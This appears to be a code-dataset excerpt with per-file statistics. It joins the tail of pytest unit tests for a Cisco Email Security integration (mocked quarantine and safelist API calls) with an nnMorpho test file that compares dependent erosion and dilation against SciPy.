requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages/details?mid=None" "&quarantineType=spam", json=test_data['quarantine_message_details_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_get_quarantine_message_details_command(client, {"start_date": "2017-02-14T09:51:46.000-0600", "end_date": "2017-02-14T09:51:46.000-0600"}) assert res.outputs == test_data['quarantine_message_details_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.QuarantineMessageDetail' assert res.outputs_key_field == 'mid' def test_quarantine_message_details_data_to_human_readable(): """ Given: Spam quarantine message details response data. When: The function arranges the data and returns it in the Markdown table. Then: We check that the table that the function returns corresponds to the data that the function received. """ from CiscoEmailSecurity import quarantine_message_details_data_to_human_readable res = quarantine_message_details_data_to_human_readable(test_data['quarantine_message_context_to_human_readable']) assert res == test_data['quarantine_message_details_human_readable'] def test_list_delete_quarantine_messages_command(requests_mock): """ Given: Arguments for command - delete_quarantine_messages. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (readable_output, outputs_prefix) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_delete_quarantine_messages_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.delete("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages", json=test_data['quarantine_delete_message_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_delete_quarantine_messages_command(client, {"messages_ids": "1234"}) assert res.readable_output == test_data['quarantine_delete_message_response_data'] def test_list_release_quarantine_messages_command(requests_mock): """ Given: Arguments for command - release_quarantine_messages. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (readable_output, outputs_prefix) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_release_quarantine_messages_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages", json=test_data['quarantine_release_message_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_release_quarantine_messages_command(client, {"messages_ids": "1234"}) assert res.readable_output == test_data['quarantine_release_message_response_data'] def test_build_url_filter_for_get_list_entries(): """ Given: Arguments To filter with. When: The function builds a URL filter from these arguments. Then: We check that the URL filter matches what the command asks for. """ from CiscoEmailSecurity import build_url_filter_for_get_list_entries res = build_url_filter_for_get_list_entries({"list_type": "safelist", "view_by": "bla", "order_by": "bla"}) assert res == "?action=view&limit=20&offset=0&quarantineType=spam&orderDir=desc&viewBy=bla&orderBy=bla" def test_list_entries_get_command(requests_mock): """ Given: Arguments for command - list_entries_get. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_entries_get_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist", json=test_data['get_list_entries_response']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_entries_get_command(client, {"list_type": "safelist", "limit": "25", "order_by": "recipient", "view_by": "recipient"}) assert res.outputs == test_data['get_list_entries_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.ListEntry.Safelist' assert res.outputs_key_field == 'Safelist' def test_build_request_body_for_add_list_entries(): """ Given: Arguments To flirt with. When: The function builds a request body from these arguments. Then: We check that the request body matches what the command asks for. """ from CiscoEmailSecurity import build_request_body_for_add_list_entries res_request_body = build_request_body_for_add_list_entries({"list_type": "safelist", "action": "add", "recipient_addresses": "user.com,user.com", "sender_list": "acme.com", "view_by": "recipient"}) assert res_request_body == {"action": "add", "quarantineType": "spam", "viewBy": "recipient", "recipientAddresses": ["user.com", "user.com"], "senderList": ["acme.com"]} def test_list_entries_add_command(requests_mock): """ Given: Arguments for command - list_entries_add. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_entries_add_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist", json=test_data['add_list_entries_response']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_entries_add_command(client, {"list_type": "safelist", "action": "add", "limit": "25", "recipient_addresses": "user.com,user.com", "sender_list": "acme.com", "view_by": "recipient"}) assert res.readable_output == test_data['add_list_entries_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.listEntry.Safelist' assert res.outputs_key_field == 'acme.com' def test_build_request_body_for_delete_list_entries(): """ Given: Arguments To flirt with. When: The function builds a request body from these arguments. Then: We check that the request body matches what the command asks for. """ from CiscoEmailSecurity import build_request_body_for_delete_list_entries res_request_body = build_request_body_for_delete_list_entries({"list_type": "safelist", "sender_list": "acme.com", "view_by": "recipient"}) assert res_request_body == {"quarantineType": "spam", "viewBy": "recipient", "senderList": ["acme.com"]} def test_list_entries_delete_command(requests_mock): """ Given: Arguments for command - list_entries_add. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_entries_delete_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.delete("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist", json=test_data['delete_list_entries_response']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_entries_delete_command(client, {"list_type": "safelist", "sender_list": "acme.com", "view_by": "recipient"}) assert res.readable_output == test_data['delete_list_entries_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.listEntry.Safelist' assert res.outputs_key_field == 'acme.com'
43.970115
119
0.67674
2,375
19,127
5.183579
0.074105
0.029242
0.054585
0.024368
0.894566
0.843555
0.803428
0.74868
0.71294
0.673625
0
0.030034
0.221885
19,127
434
120
44.071429
0.797151
0.244367
0
0.247312
0
0.026882
0.342509
0.141866
0
0
0
0
0.198925
1
0.129032
false
0.048387
0.139785
0
0.274194
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
e22b23062bc30dc9fdfe4116c350d5ca493bb57e
4,444
py
Python
tests/test_dependent.py
Manza12/nnMorpho
a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1
[ "MIT" ]
9
2021-05-13T08:11:18.000Z
2022-02-25T08:04:18.000Z
tests/test_dependent.py
Manza12/nnMorpho
a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1
[ "MIT" ]
7
2021-04-21T06:30:30.000Z
2021-11-23T17:28:51.000Z
tests/test_dependent.py
Manza12/nnMorpho
a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1
[ "MIT" ]
2
2021-04-21T06:47:27.000Z
2021-05-03T02:32:18.000Z
import torch.cuda from nnMorpho.parameters import * from nnMorpho.operations import erosion_dependent, erosion, \ dilation_dependent, dilation from scipy.ndimage.morphology import grey_erosion, grey_dilation # Parameters input_shape = (256, 512) str_el_shape = (input_shape[0], 5, 5) device = 'cuda:0' def test_erosion_dependent(): # Test Operations print("Testing the erosion dependent of nnMorpho respect to Scipy") # Start input_tensor = torch.rand(input_shape, device=device, dtype=torch.float32) input_array = input_tensor.cpu().numpy() str_el_tensor = torch.rand(str_el_shape, device=device, dtype=torch.float32) str_el_array = str_el_tensor.cpu().numpy() origin = None border_value = 0. # Compute nnMorpho start = time.time() result_morpho = erosion_dependent(input_tensor, str_el_tensor, origin, border_value) torch.cuda.synchronize() time_morpho = time.time() - start print('Time to erosion dependent - nnMorpho - : %.3f seconds' % time_morpho) # Compute nnMorpho (old) start = time.time() result_morpho_old = torch.zeros_like(input_tensor) for i in range(str_el_tensor.shape[0]): result_morpho_old[i, :] = erosion(input_tensor, str_el_tensor[i, :, :], origin, border_value)[i, :] torch.cuda.synchronize() time_old = time.time() - start print('Time to erosion dependent - nnMorpho (old) - : %.3f seconds' % time_old) error_old = torch.mean(torch.abs(result_morpho - result_morpho_old)) print("Error old: %.3f" % error_old) print("Acceleration respect to old: x%d" % (time_old / time_morpho)) # Compute Scipy start = time.time() result_scipy = np.zeros_like(input_array) for i in range(str_el_array.shape[0]): result_scipy[i, :] = grey_erosion(input_array, structure=str_el_array[i, :, :], mode='constant')[i, :] torch.cuda.synchronize() time_scipy = time.time() - start print('Time to erosion dependent - Scipy - : %.3f seconds' % time_scipy) print("Acceleration respect to Scipy: x%d" % (time_scipy / time_morpho)) error = np.mean(np.abs(result_morpho.cpu().numpy() - result_scipy)) print("Error: %.3f" % error) check = np.mean(np.abs(result_morpho_old.cpu().numpy() - result_scipy)) print("Check: %.3f" % check) assert error == 0 def test_dilation_dependent(): # Test Operations print("Testing the dilation dependent of nnMorpho respect to Scipy") # Start input_tensor = torch.rand(input_shape, device=device, dtype=torch.float32) input_array = input_tensor.cpu().numpy() str_el_tensor = torch.rand(str_el_shape, device=device, dtype=torch.float32) str_el_array = str_el_tensor.cpu().numpy() origin = None border_value = 0. # Compute nnMorpho start = time.time() result_morpho = dilation_dependent(input_tensor, str_el_tensor, origin, border_value) torch.cuda.synchronize() time_morpho = time.time() - start print('Time to dilation dependent - nnMorpho - : %.3f seconds' % time_morpho) # Compute nnMorpho (old) start = time.time() result_morpho_old = torch.zeros_like(input_tensor) for i in range(str_el_tensor.shape[0]): result_morpho_old[i, :] = dilation(input_tensor, str_el_tensor[i, :, :], origin, border_value)[i, :] torch.cuda.synchronize() time_old = time.time() - start print('Time to dilation dependent - nnMorpho (old) - : %.3f seconds' % time_old) error_old = torch.mean(torch.abs(result_morpho - result_morpho_old)) print("Error old: %.3f" % error_old) print("Acceleration respect to old: x%d" % (time_old / time_morpho)) # Compute Scipy start = time.time() result_scipy = np.zeros_like(input_array) for i in range(str_el_array.shape[0]): result_scipy[i, :] = grey_dilation(input_array, structure=str_el_array[i, :, :], mode='constant')[i, :] torch.cuda.synchronize() time_scipy = time.time() - start print('Time to dilation dependent - Scipy - : %.3f seconds' % time_scipy) print("Acceleration respect to Scipy: x%d" % (time_scipy / time_morpho)) error = np.mean(np.abs(result_morpho.cpu().numpy() - result_scipy)) print("Error: %.3f" % error) check = np.mean(np.abs(result_morpho_old.cpu().numpy() - result_scipy)) print("Check: %.3f" % check) assert error == 0 if __name__ == '__main__': test_erosion_dependent() test_dilation_dependent()
35.552
111
0.685644
609
4,444
4.763547
0.118227
0.032747
0.037918
0.039297
0.871079
0.871079
0.844881
0.844881
0.83971
0.829369
0
0.010483
0.184293
4,444
124
112
35.83871
0.789793
0.036454
0
0.674699
0
0
0.159251
0
0
0
0
0
0.024096
1
0.024096
false
0
0.048193
0
0.072289
0.216867
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6